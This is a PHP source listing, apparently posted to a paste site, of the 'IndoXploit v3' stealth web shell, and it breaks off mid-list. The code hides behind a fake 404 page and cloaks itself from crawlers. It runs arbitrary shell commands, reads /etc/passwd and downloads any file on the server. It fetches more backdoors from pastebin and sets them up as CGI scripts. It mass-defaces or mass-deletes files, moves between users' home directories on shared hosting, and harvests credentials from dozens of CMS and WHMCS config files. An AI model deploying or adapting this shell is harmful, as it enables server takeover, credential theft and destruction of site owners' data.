· 8 years ago · Jul 15, 2018, 06:52 PM
1<?php
2/*
3* # IndoXploit v3 Web Shell (Stealth Version)
4* # What was involved?
5* - Uses dynamic 404 page from the server to make the web shell looks like it was deleted
6* - Login method is by using GET parameters, (example: 'http://example.com/idx_s.php?passwd=password_saia_kaka')
7* # Important Bookmark
8* - Password configuration at line 27
9* - login_shell() function at line 40-52
10* - Login validation at line 57-64
11*/
12session_start();
13@error_reporting(0);
14@set_time_limit(0);
15
16if(version_compare(PHP_VERSION, '5.3.0', '<')) {
17 @set_magic_quotes_runtime(0);
18}
19
20@clearstatcache();
21@ini_set('error_log',NULL);
22@ini_set('log_errors',0);
23@ini_set('max_execution_time',0);
24@ini_set('output_buffering',0);
25@ini_set('display_errors', 0);
26
27$password = "102a6ed6587b5b8cb4ebbe972864690b"; # md5: p4kl0nc4t
28
29$SERVERIP = (!$_SERVER['SERVER_ADDR']) ? gethostbyname($_SERVER['HTTP_HOST']) : $_SERVER['SERVER_ADDR'];
30$FILEPATH = str_replace($_SERVER['DOCUMENT_ROOT'], "", path());
31
32if(!empty($_SERVER['HTTP_USER_AGENT'])) {
33 $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot", "curl");
34 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
35 header('HTTP/1.0 404 Not Found');
36 exit;
37 }
38}
39
40function login_shell() {
41$random_url = mt_rand(1000000, 247345736453);
42$curl = curl_init();
43$protocol = 'http://';
44if(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off') { $protocol = 'https://'; }
45curl_setopt($curl, CURLOPT_URL, $protocol . $_SERVER['HTTP_HOST'] . '/' . $random_url);
46curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
47$server_404 = curl_exec($curl);
48$server_404 = str_replace("/{$random_url}", $_SERVER['SCRIPT_NAME'], $server_404);
49$server_404 = str_replace("{$random_url}", $_SERVER['SCRIPT_NAME'], $server_404);
50echo $server_404;
51exit;
52}
53if(@$_GET['this'] == "phpinfo") {
54 echo phpinfo();
55 exit();
56}
57if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])])) {
58 if(empty($password) || (isset($_GET['passwd']) && (md5($_GET['passwd']) == $password))) {
59 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
60 echo "<script>document.location.href = '?'</script>";
61 } else {
62 login_shell();
63 }
64}
65if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
66 @ob_clean();
67 $file = $_GET['file'];
68 header('Content-Description: File Transfer');
69 header('Content-Type: application/octet-stream');
70 header('Content-Disposition: attachment; filename="'.basename($file).'"');
71 header('Expires: 0');
72 header('Cache-Control: must-revalidate');
73 header('Pragma: public');
74 header('Content-Length: ' . filesize($file));
75 readfile($file);
76 exit;
77}
78
79if(get_magic_quotes_gpc()) {
80 function idx_ss($array) {
81 return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
82 }
83 $_POST = idx_ss($_POST);
84}
85?>
86<!DOCTYPE HTML>
87<html>
88<!--
89###############################################################################
90// Thanks buat Orang-orang yg membantu dalam proses pembuatan shell ini.
91// Shell ini tidak sepenuhnya 100% Coding manual, ada beberapa function dan tools kita ambil dari shell yang sudah ada.
92// Tapi Selebihnya, itu hasil kreasi IndoXploit sendiri.
93// Tanpa kalian kita tidak akan BESAR seperti sekarang.
94// Greetz: All Member IndoXploit. & All My Friends.
95###############################################################################
96// Special Thanks: Depok Cyber Security | Sanjungan Jiwa | 0x1999
97###############################################################################
98-->
99<head>
100<title>IndoXploit</title>
101<meta name='author' content='IndoXploit'>
102<meta charset="UTF-8">
103<style type='text/css'>
104@import url(https://fonts.googleapis.com/css?family=Ubuntu);
105html {
106 background: #000000;
107 color: #ffffff;
108 font-size: 14px;
109 width: 100%;
110}
111
112li {
113 display: inline;
114 margin: 5px;
115 padding: 5px;
116}
117
118a {
119 color: #ffffff;
120 text-decoration: none;
121}
122
123a:hover {
124 color: gold;
125 text-decoration: underline;
126}
127
128b {
129 color: gold;
130}
131
132pre {
133 font-size: 13px;
134}
135
136table, th, td {
137 border-collapse:collapse;
138 background: transparent;
139 font-family: 'Ubuntu';
140 font-size: 13px;
141}
142
143.table_home, .th_home, .td_home {
144 border: 1px solid #ffffff;
145}
146
147.th_home {
148 color: lime;
149}
150
151.td_home, .td_home > a {
152 color: #ffffff;
153}
154
155.td_home > a:hover {
156 color: gold;
157}
158
159th {
160 padding: 10px;
161}
162
163tr:hover {
164 background: #006400;
165 color: #ffffff;
166}
167
168input[type=text], input[type=password], .input {
169 background: transparent;
170 color: #ffffff;
171 border: 1px solid #ffffff;
172 padding: 3px;
173 font-family: 'Ubuntu';
174 font-size: 13px;
175}
176
177input[type=submit] {
178 padding: 2px;}
179
180input[type=submit]:hover {
181 cursor: pointer;
182}
183
184input:focus, textarea:focus {
185 outline: 0;
186 border-color: #ffffff;
187}
188
189textarea {
190 border: 1px solid #ffffff;
191 width: 100%;
192 height: 400px;
193 padding-left: 5px;
194 margin: 10px auto;
195 resize: none;
196 background: transparent;
197 color: #ffffff;
198 font-family: 'Ubuntu';
199 font-size: 13px;
200}
201iframe {
202 width: 100%;
203 min-height: 500px;
204}
205</style>
206</head>
207<body>
208<?php
209function path() {
210 if(isset($_GET['dir'])) {
211 $dir = str_replace("\\", "/", $_GET['dir']);
212 @chdir($dir);
213 } else {
214 $dir = str_replace("\\", "/", getcwd());
215 }
216 return $dir;
217}
218
219function color($bold = 1, $colorid = null, $string = null) {
220 $color = array(
221 "</font>", # 0 off
222 "<font color='red'>", # 1 red
223 "<font color='lime'>", # 2 lime
224 "<font color='white'>", # 3 white
225 "<font color='gold'>", # 4 gold
226 );
227
228 return ($string !== null) ? $color[$colorid].$string.$color[0]: $color[$colorid];
229}
230
231function OS() {
232 return (substr(strtoupper(PHP_OS), 0, 3) === "WIN") ? "Windows" : "Linux";
233}
234
235function exe($cmd) {
236 if(function_exists('system')) {
237 @ob_start();
238 @system($cmd);
239 $buff = @ob_get_contents();
240 @ob_end_clean();
241 return $buff;
242 } elseif(function_exists('exec')) {
243 @exec($cmd,$results);
244 $buff = "";
245 foreach($results as $result) {
246 $buff .= $result;
247 } return $buff;
248 } elseif(function_exists('passthru')) {
249 @ob_start();
250 @passthru($cmd);
251 $buff = @ob_get_contents();
252 @ob_end_clean();
253 return $buff;
254 } elseif(function_exists('shell_exec')) {
255 $buff = @shell_exec($cmd);
256 return $buff;
257 }
258}
259
260function save($filename, $mode, $file) {
261 $handle = fopen($filename, $mode);
262 fwrite($handle, $file);
263 fclose($handle);
264 return;
265}
266
267function getfile($name) {
268 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't spawn $name."));
269 if($name === "adminer") $get = array("https://www.adminer.org/static/download/4.3.1/adminer-4.3.1.php", "adminer.php");
270 elseif($name === "webconsole") $get = array("https://pastebin.com/raw/2i96fDCN", "webconsole.php");
271 elseif($name === "cgitelnet1") $get = array("https://pastebin.com/raw/Lj46KxFT", "idx_cgi/cgitelnet1.idx");
272 elseif($name === "cgitelnet2") $get = array("https://pastebin.com/raw/aKL2QWfS", "idx_cgi/cgitelnet2.idx");
273 elseif($name === "LRE") $get = array("https://pastebin.com/raw/PVPfA21i", "makman.php");
274
275 $fp = fopen($get[1], "w");
276 $ch = curl_init();
277 curl_setopt($ch, CURLOPT_URL, $get[0]);
278 curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
279 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
280 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
281 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
282 curl_setopt($ch, CURLOPT_FILE, $fp);
283 return curl_exec($ch);
284 curl_close($ch);
285 fclose($fp);
286 ob_flush();
287 flush();
288}
289
290function usergroup() {
291 if(!function_exists('posix_getegid')) {
292 $user['name'] = @get_current_user();
293 $user['uid'] = @getmyuid();
294 $user['gid'] = @getmygid();
295 $user['group'] = "?";
296 } else {
297 $user['uid'] = @posix_getpwuid(posix_geteuid());
298 $user['gid'] = @posix_getgrgid(posix_getegid());
299 $user['name'] = $user['uid']['name'];
300 $user['uid'] = $user['uid']['uid'];
301 $user['group'] = $user['gid']['name'];
302 $user['gid'] = $user['gid']['gid'];
303 }
304 return (object) $user;
305}
306
307function getuser() {
308 $fopen = fopen("/etc/passwd", "r") or die(color(1, 1, "Can't read /etc/passwd"));
309 while($read = fgets($fopen)) {
310 preg_match_all('/(.*?):x:/', $read, $getuser);
311 $user[] = $getuser[1][0];
312 }
313 return $user;
314}
315
316function getdomainname() {
317 $fopen = fopen("/etc/named.conf", "r");
318 while($read = fgets($fopen)) {
319 preg_match_all("#/var/named/(.*?).db#", $read, $getdomain);
320 $domain[] = $getdomain[1][0];
321 }
322 return $domain;
323}
324
325function hddsize($size) {
326 if($size >= 1073741824)
327 return sprintf('%1.2f',$size / 1073741824 ).' GB';
328 elseif($size >= 1048576)
329 return sprintf('%1.2f',$size / 1048576 ) .' MB';
330 elseif($size >= 1024)
331 return sprintf('%1.2f',$size / 1024 ) .' KB';
332 else
333 return $size .' B';
334}
335
336function hdd() {
337 $hdd['size'] = hddsize(disk_total_space("/"));
338 $hdd['free'] = hddsize(disk_free_space("/"));
339 $hdd['used'] = $hdd['size'] - $hdd['free'];
340 return (object) $hdd;
341}
342
343function writeable($path, $perms) {
344 return (!is_writable($path)) ? color(1, 1, $perms) : color(1, 2, $perms);
345}
346
347function perms($path) {
348 $perms = fileperms($path);
349 if (($perms & 0xC000) == 0xC000) {
350 // Socket
351 $info = 's';
352 }
353 elseif (($perms & 0xA000) == 0xA000) {
354 // Symbolic Link
355 $info = 'l';
356 }
357 elseif (($perms & 0x8000) == 0x8000) {
358 // Regular
359 $info = '-';
360 }
361 elseif (($perms & 0x6000) == 0x6000) {
362 // Block special
363 $info = 'b';
364 }
365 elseif (($perms & 0x4000) == 0x4000) {
366 // Directory
367 $info = 'd';
368 }
369 elseif (($perms & 0x2000) == 0x2000) {
370 // Character special
371 $info = 'c';
372 }
373 elseif (($perms & 0x1000) == 0x1000) {
374 // FIFO pipe
375 $info = 'p';
376 }
377 else {
378 // Unknown
379 $info = 'u';
380 }
381 // Owner
382 $info .= (($perms & 0x0100) ? 'r' : '-');
383 $info .= (($perms & 0x0080) ? 'w' : '-');
384 $info .= (($perms & 0x0040) ?
385 (($perms & 0x0800) ? 's' : 'x' ) :
386 (($perms & 0x0800) ? 'S' : '-'));
387 // Group
388 $info .= (($perms & 0x0020) ? 'r' : '-');
389 $info .= (($perms & 0x0010) ? 'w' : '-');
390 $info .= (($perms & 0x0008) ?
391 (($perms & 0x0400) ? 's' : 'x' ) :
392 (($perms & 0x0400) ? 'S' : '-'));
393 // World
394 $info .= (($perms & 0x0004) ? 'r' : '-');
395 $info .= (($perms & 0x0002) ? 'w' : '-');
396 $info .= (($perms & 0x0001) ?
397 (($perms & 0x0200) ? 't' : 'x' ) :
398 (($perms & 0x0200) ? 'T' : '-'));
399
400 return $info;
401}
402
403function lib_installed() {
404 $lib[] = "MySQL: ".(function_exists('mysql_connect') ? color(1, 2, "ON") : color(1, 1, "OFF"));
405 $lib[] = "cURL: ".(function_exists('curl_version') ? color(1, 2, "ON") : color(1, 1, "OFF"));
406 $lib[] = "WGET: ".(exe('wget --help') ? color(1, 2, "ON") : color(1, 1, "OFF"));
407 $lib[] = "Perl: ".(exe('perl --help') ? color(1, 2, "ON") : color(1, 1, "OFF"));
408 $lib[] = "Python: ".(exe('python --help') ? color(1, 2, "ON") : color(1, 1, "OFF"));
409 return implode(" | ", $lib);
410}
411
412function pwd() {
413 $dir = explode("/", path());
414 foreach($dir as $key => $index) {
415 print "<a href='?dir=";
416 for($i = 0; $i <= $key; $i++) {
417 print $dir[$i];
418 if($i != $key) {
419 print "/";
420 }
421 }
422 print "'>$index</a>/";
423 }
424 print "<br>";
425 print (OS() === "Windows") ? windisk() : "";
426}
427
428function windisk() {
429 $letters = "";
430 $v = explode("\\", path());
431 $v = $v[0];
432 foreach(range("A", "Z") as $letter) {
433 $bool = $isdiskette = in_array($letter, array("A"));
434 if(!$bool) $bool = is_dir("$letter:\\");
435 if($bool) {
436 $letters .= "[ <a href='?dir=$letter:\\'".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">";
437 if($letter.":" != $v) {
438 $letters .= $letter;
439 }
440 else {
441 $letters .= color(1, 2, $letter);
442 }
443 $letters .= "</a> ]";
444 }
445 }
446 if(!empty($letters)) {
447 print "Detected Drives $letters<br>";
448 }
449 if(count($quicklaunch) > 0) {
450 foreach($quicklaunch as $item) {
451 $v = realpath(path(). "..");
452 if(empty($v)) {
453 $a = explode(DIRECTORY_SEPARATOR,path());
454 unset($a[count($a)-2]);
455 $v = join(DIRECTORY_SEPARATOR, $a);
456 }
457 print "<a href='".$item[1]."'>".$item[0]."</a>";
458 }
459 }
460}
461
462function serverinfo() {
463 $disable_functions = @ini_get('disable_functions');
464 $disable_functions = (!empty($disable_functions)) ? color(1, 1, $disable_functions) : color(1, 2, "NONE");
465
466 $output[] = "SERVER IP ".color(1, 2, $GLOBALS['SERVERIP'])." / YOUR IP ".color(1, 2, $_SERVER['REMOTE_ADDR']);
467 $output[] = "WEB SERVER : ".color(1, 2, $_SERVER['SERVER_SOFTWARE']);
468 $output[] = "SYSTEM : ".color(1, 2, php_uname());
469 $output[] = "USER / GROUP: ".color(1, 2, usergroup()->name)."(".color(1, 2 , usergroup()->uid).") / ".color(1, 2 , usergroup()->group)."(".color(1, 2 , usergroup()->gid).")";
470 $output[] = "HDD : ".color(1, 2, hdd()->used)." / ".color(1, 2 , hdd()->size)." (Free: ".color(1, 2 , hdd()->free).")";
471 $output[] = "PHP VERSION : ".color(1, 2, @phpversion());
472 $output[] = "SAFE MODE : ".(@ini_get(strtoupper("safe_mode")) === "ON" ? color(1, 2, "ON") : color(1, 2, "OFF"));
473 $output[] = "DISABLE FUNC: $disable_functions";
474 $output[] = lib_installed();
475 $output[] = "Current Dir (".writeable(path(), perms(path())).") ";
476
477 print "<pre>";
478 print implode("<br>", $output);
479 pwd();
480 print "</pre>";
481
482}
483
484function curl($url, $post = false, $data = null) {
485 $ch = curl_init($url);
486 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
487 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
488 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
489 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
490 curl_setopt($ch, CURLOPT_TIMEOUT, 10);
491 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
492 if($post) {
493 curl_setopt($ch, CURLOPT_POST, true);
494 curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
495 }
496 return curl_exec($ch);
497 curl_close($ch);
498}
499
500function reverse() {
501 $response = curl("http://domains.yougetsignal.com/domains.php", TRUE, "remoteAddress=".$GLOBALS['SERVERIP']."&ket=");
502 $response = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $response)))))))))))));
503 $explode = explode(",,", $response);
504 unset($explode[0]);
505
506 foreach($explode as $domain) {
507 $domain = "http://$domain";
508 $domain = str_replace(",", "", $domain);
509 $url[] = $domain;
510 ob_flush();
511 flush();
512 }
513
514 return $url;
515}
516
517function getValue($param, $kata1, $kata2){
518 if(strpos($param, $kata1) === FALSE) return FALSE;
519 if(strpos($param, $kata2) === FALSE) return FALSE;
520 $start = strpos($param, $kata1) + strlen($kata1);
521 $end = strpos($param, $kata2, $start);
522 $return = substr($param, $start, $end - $start);
523 return $return;
524}
525
526function massdeface($dir, $file, $filename, $type = null) {
527 $scandir = scandir($dir);
528 foreach($scandir as $dir_) {
529 $path = "$dir/$dir_";
530 $location = "$path/$filename";
531 if($dir_ === "." || $dir_ === "..") {
532 file_put_contents($location, $file);
533 }
534 else {
535 if(is_dir($path) AND is_writable($path)) {
536 print "[".color(1, 2, "DONE")."] ".color(1, 4, $location)."<br>";
537 file_put_contents($location, $file);
538 if($type === "-alldir") {
539 massdeface($path, $file, $filename, "-alldir");
540 }
541 }
542 }
543 }
544}
545
546function massdelete($dir, $filename) {
547 $scandir = scandir($dir);
548 foreach($scandir as $dir_) {
549 $path = "$dir/$dir_";
550 $location = "$path/$filename";
551 if($dir_ === '.') {
552 if(file_exists("$dir/$filename")) {
553 unlink("$dir/$filename");
554 }
555 }
556 elseif($dir_ === '..') {
557 if(file_exists(dirname($dir)."/$filename")) {
558 unlink(dirname($dir)."/$filename");
559 }
560 }
561 else {
562 if(is_dir($path) AND is_writable($path)) {
563 if(file_exists($location)) {
564 print "[".color(1, 2, "DELETED")."] ".color(1, 4, $location)."<br>";
565 unlink($location);
566 massdelete($path, $filename);
567 }
568 }
569 }
570 }
571}
572
573function tools($toolsname, $args = null) {
574 if($toolsname === "cmd") {
575 print "<form method='post' action='?do=cmd&dir=".path()."' style='margin-top: 15px;'>
576 ".usergroup()->name."@".$GLOBALS['SERVERIP'].": ~ $
577 <input style='border: none; border-bottom: 1px solid #ffffff;' type='text' name='cmd' required>
578 <input style='border: none; border-bottom: 1px solid #ffffff;' class='input' type='submit' value='>>'>
579 </form>";
580 }
581 elseif($toolsname === "readfile") {
582 if(empty($args)) die(color(1, 1, $msg));
583 if(!is_file($args)) die(color(1, 1, "File '$args' is not exists."));
584
585 print "<pre>";
586 print htmlspecialchars(file_get_contents($args));
587 print "</pre>";
588 }
589 elseif($toolsname === "spawn") {
590 if($args === "adminer") {
591 if(file_exists("adminer.php")) {
592 print "Login Adminer: <a href='".$GLOBALS['FILEPATH']."/adminer.php' target='_blank'>http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/adminer.php</a>";
593 }
594 else {
595 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create file 'Adminer'."));
596 if(getfile("adminer")) {
597 print "Login Adminer: <a href='".$GLOBALS['FILEPATH']."/adminer.php' target='_blank'>http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/adminer.php</a>";
598 }
599 else {
600 print color(1, 1, "Error while downloading file Adminer.");
601 @unlink("adminer.php");
602 }
603 }
604 }
605 elseif($args === "webconsole") {
606 if(file_exists("webconsole.php")) {
607 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/webconsole.php' frameborder='0' scrolling='yes'></iframe>";
608 }
609 else {
610 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create file 'WebConsole'."));
611 if(getfile("webconsole")) {
612 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/webconsole.php' frameborder='0' scrolling='yes'></iframe>";
613 }
614 else {
615 print color(1, 1, "Error while downloading file WebConsole.");
616 @unlink("webconsole.php");
617 }
618 }
619 }
620 elseif($args === "cgitelnet1") {
621 if(file_exists("idx_cgi/cgitelnet1.idx")) {
622 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/idx_cgi/cgitelnet1.idx' frameborder='0' scrolling='yes'></iframe>";
623 }
624 elseif(file_exists('cgitelnet1.idx')) {
625 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/cgitelnet1.idx' frameborder='0' scrolling='yes'></iframe>";
626 }
627 else {
628 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create directory 'idx_cgi'."));
629 if(!is_dir(path()."/idx_cgi/")) {
630 @mkdir('idx_cgi', 0755);
631 save("idx_cgi/.htaccess", "w", "AddHandler cgi-script .idx");
632 }
633 if(getfile("cgitelnet1")) {
634 chmod('idx_cgi/cgitelnet1.idx', 0755);
635 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/idx_cgi/cgitelnet1.idx' frameborder='0' scrolling='yes'></iframe>";
636 }
637 else {
638 print color(1, 1, "Error while downloading file CGI Telnet.");
639 @rmdir(path()."/idx_cgi/");
640 if(!@rmdir(path()."/idx_cgi/") AND OS() === "Linux") @exe("rm -rf ".path()."/idx_cgi/");
641 if(!@rmdir(path()."/idx_cgi/") AND OS() === "Windows") @exe("rmdir /s /q ".path()."/idx_cgi/");
642 }
643 }
644
645 }
646 elseif($args === "cgitelnet2") {
647 if(file_exists("idx_cgi/cgitelnet2.idx")) {
648 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/idx_cgi/cgitelnet2.idx' frameborder='0' scrolling='yes'></iframe>";
649 }
650 elseif(file_exists('cgitelnet2.idx')) {
651 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/cgitelnet2.idx' frameborder='0' scrolling='no'></iframe>";
652 }
653 else {
654 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create directory 'idx_cgi'."));
655 if(!is_dir(path()."/idx_cgi/")) {
656 @mkdir('idx_cgi', 0755);
657 save("idx_cgi/.htaccess", "w", "AddHandler cgi-script .idx");
658 }
659 if(getfile("cgitelnet2")) {
660 chmod('idx_cgi/cgitelnet2.idx', 0755);
661 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/idx_cgi/cgitelnet2.idx' frameborder='0' scrolling='yes'></iframe>";
662 }
663 else {
664 print color(1, 1, "Error while downloading file CGI Telnet.");
665 @rmdir(path()."/idx_cgi/");
666 if(!@rmdir(path()."/idx_cgi/") AND OS() === "Linux") @exe("rm -rf ".path()."/idx_cgi/");
667 if(!@rmdir(path()."/idx_cgi/") AND OS() === "Windows") @exe("rmdir /s /q ".path()."/idx_cgi/");
668 }
669 }
670
671 }
672 elseif($args === "phpinfo") {
673 if(file_exists('phpinfo.php') AND preg_match("/phpinfo()/", file_get_contents('phpinfo.php'))) {
674 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/phpinfo.php' frameborder='0' scrolling='yes'></iframe>";
675 }
676 else {
677 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create file 'phpinfo'."));
678 save("phpinfo.php", "w", "<?php print '<html><style>html,body {background: #000000;}</style><div style=\'background: #000000; color: #cccccc;\'>'; phpinfo(); print '</div></html>'; ?>");
679 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/phpinfo.php' frameborder='0' scrolling='yes'></iframe>";
680 }
681 }
682 }
683 elseif($toolsname === "upload") {
684 if($_POST['upload']) {
685 if($_POST['uploadtype'] === '1') {
686 if(@copy($_FILES['file']['tmp_name'], path().DIRECTORY_SEPARATOR.$_FILES['file']['name']."")) {
687 $act = color(1, 2, "Uploaded!")." at <i><b>".path().DIRECTORY_SEPARATOR.$_FILES['file']['name']."</b></i>";
688 }
689 else {
690 $act = color(1, 1, "Failed to upload file!");
691 }
692 }
693 elseif($_POST['uploadtype'] === '2') {
694 $root = $_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR.$_FILES['file']['name'];
695 $web = $_SERVER['HTTP_HOST'].DIRECTORY_SEPARATOR.$_FILES['file']['name'];
696 if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
697 if(@copy($_FILES['file']['tmp_name'], $root)) {
698 $act = color(1, 2, "Uploaded!")." at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
699 }
700 else {
701 $act = color(1, 1, "Failed to upload file!");
702 }
703 }
704 else {
705 $act = color(1, 1, "Failed to upload file!");
706 }
707 }
708 }
709 print "Upload File: $act
710 <form method='post' enctype='multipart/form-data'>
711 <input type='radio' name='uploadtype' value='1' checked>current_dir [ ".writeable(path(), "Writeable")." ]
712 <input type='radio' name='uploadtype' value='2'>document_root [ ".writeable($_SERVER['DOCUMENT_ROOT'], "Writeable")." ]<br>
713 <input type='file' name='file'>
714 <input type='submit' value='upload' name='upload'>
715 </form>";
716 }
717 elseif($toolsname === "jumping") {
718 $i = 0;
719 foreach(getuser() as $user) {
720 $path = "/home/$user/public_html";
721 if(is_readable($path)) {
722 $status = color(1, 2, "[R]");
723 if(is_writable($path)) {
724 $status = color(1, 2, "[RW]");
725 }
726 $i++;
727 print "$status <a href='?dir=$path'>".color(1, 4, $path)."</a>";
728 if(!function_exists('posix_getpwuid')) print "<br>";
729 if(!getdomainname()) print " => ".color(1, 1, "Can't get domain name")."<br>";
730 foreach(getdomainname() as $domain) {
731 $userdomain = (object) @posix_getpwuid(@fileowner("/etc/valiases/$domain"));
732 $userdomain = $userdomain->name;
733 if($userdomain === $user) {
734 print " => <a href='http://$domain/' target='_blank'>".color(1, 2, $domain)."</a><br>";
735 break;
736 }
737 }
738 }
739 }
740 print ($i === 0) ? "" : "<p>".color(1, 3, "Total ada $i kamar di ".$GLOBALS['SERVERIP'])."</p>";
741 }
742 elseif($toolsname === "idxconfig") {
743 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create directory 'idx_config'."));
744 if(!is_dir(path()."/idx_config/")) {
745 @mkdir('idx_config', 0755);
746 $htaccess = "Options all\nDirectoryIndex indoxploit.htm\nSatisfy Any";
747 save("idx_config/.htaccess","w", $htaccess);
748
749 foreach(getuser() as $user) {
750 $user_docroot = "/home/$user/public_html/";
751 if(is_readable($user_docroot)) {
752 $getconfig = array(
753 "/home/$user/.accesshash" => "WHM-accesshash",
754 "$user_docroot/config/koneksi.php" => "Lokomedia",
755 "$user_docroot/forum/config.php" => "phpBB",
756 "$user_docroot/sites/default/settings.php" => "Drupal",
757 "$user_docroot/config/settings.inc.php" => "PrestaShop",
758 "$user_docroot/app/etc/local.xml" => "Magento",
759 "$user_docroot/admin/config.php" => "OpenCart",
760 "$user_docroot/application/config/database.php" => "Ellislab",
761 "$user_docroot/vb/includes/config.php" => "Vbulletin",
762 "$user_docroot/includes/config.php" => "Vbulletin",
763 "$user_docroot/forum/includes/config.php" => "Vbulletin",
764 "$user_docroot/forums/includes/config.php" => "Vbulletin",
765 "$user_docroot/cc/includes/config.php" => "Vbulletin",
766 "$user_docroot/inc/config.php" => "MyBB",
767 "$user_docroot/includes/configure.php" => "OsCommerce",
768 "$user_docroot/shop/includes/configure.php" => "OsCommerce",
769 "$user_docroot/os/includes/configure.php" => "OsCommerce",
770 "$user_docroot/oscom/includes/configure.php" => "OsCommerce",
771 "$user_docroot/products/includes/configure.php" => "OsCommerce",
772 "$user_docroot/cart/includes/configure.php" => "OsCommerce",
773 "$user_docroot/inc/conf_global.php" => "IPB",
774 "$user_docroot/wp-config.php" => "Wordpress",
775 "$user_docroot/wp/test/wp-config.php" => "Wordpress",
776 "$user_docroot/blog/wp-config.php" => "Wordpress",
777 "$user_docroot/beta/wp-config.php" => "Wordpress",
778 "$user_docroot/portal/wp-config.php" => "Wordpress",
779 "$user_docroot/site/wp-config.php" => "Wordpress",
780 "$user_docroot/wp/wp-config.php" => "Wordpress",
781 "$user_docroot/WP/wp-config.php" => "Wordpress",
782 "$user_docroot/news/wp-config.php" => "Wordpress",
783 "$user_docroot/wordpress/wp-config.php" => "Wordpress",
784 "$user_docroot/test/wp-config.php" => "Wordpress",
785 "$user_docroot/demo/wp-config.php" => "Wordpress",
786 "$user_docroot/home/wp-config.php" => "Wordpress",
787 "$user_docroot/v1/wp-config.php" => "Wordpress",
788 "$user_docroot/v2/wp-config.php" => "Wordpress",
789 "$user_docroot/press/wp-config.php" => "Wordpress",
790 "$user_docroot/new/wp-config.php" => "Wordpress",
791 "$user_docroot/blogs/wp-config.php" => "Wordpress",
792 "$user_docroot/configuration.php" => "Joomla",
793 "$user_docroot/blog/configuration.php" => "Joomla",
794 "$user_docroot/submitticket.php" => "^WHMCS",
795 "$user_docroot/cms/configuration.php" => "Joomla",
796 "$user_docroot/beta/configuration.php" => "Joomla",
797 "$user_docroot/portal/configuration.php" => "Joomla",
798 "$user_docroot/site/configuration.php" => "Joomla",
799 "$user_docroot/main/configuration.php" => "Joomla",
800 "$user_docroot/home/configuration.php" => "Joomla",
801 "$user_docroot/demo/configuration.php" => "Joomla",
802 "$user_docroot/test/configuration.php" => "Joomla",
803 "$user_docroot/v1/configuration.php" => "Joomla",
804 "$user_docroot/v2/configuration.php" => "Joomla",
805 "$user_docroot/joomla/configuration.php" => "Joomla",
806 "$user_docroot/new/configuration.php" => "Joomla",
807 "$user_docroot/WHMCS/submitticket.php" => "WHMCS",
808 "$user_docroot/whmcs1/submitticket.php" => "WHMCS",
809 "$user_docroot/Whmcs/submitticket.php" => "WHMCS",
810 "$user_docroot/whmcs/submitticket.php" => "WHMCS",
811 "$user_docroot/whmcs/submitticket.php" => "WHMCS",
812 "$user_docroot/WHMC/submitticket.php" => "WHMCS",
813 "$user_docroot/Whmc/submitticket.php" => "WHMCS",
814 "$user_docroot/whmc/submitticket.php" => "WHMCS",
815 "$user_docroot/WHM/submitticket.php" => "WHMCS",
816 "$user_docroot/Whm/submitticket.php" => "WHMCS",
817 "$user_docroot/whm/submitticket.php" => "WHMCS",
818 "$user_docroot/HOST/submitticket.php" => "WHMCS",
819 "$user_docroot/Host/submitticket.php" => "WHMCS",
820 "$user_docroot/host/submitticket.php" => "WHMCS",
821 "$user_docroot/SUPPORTES/submitticket.php" => "WHMCS",
822 "$user_docroot/Supportes/submitticket.php" => "WHMCS",
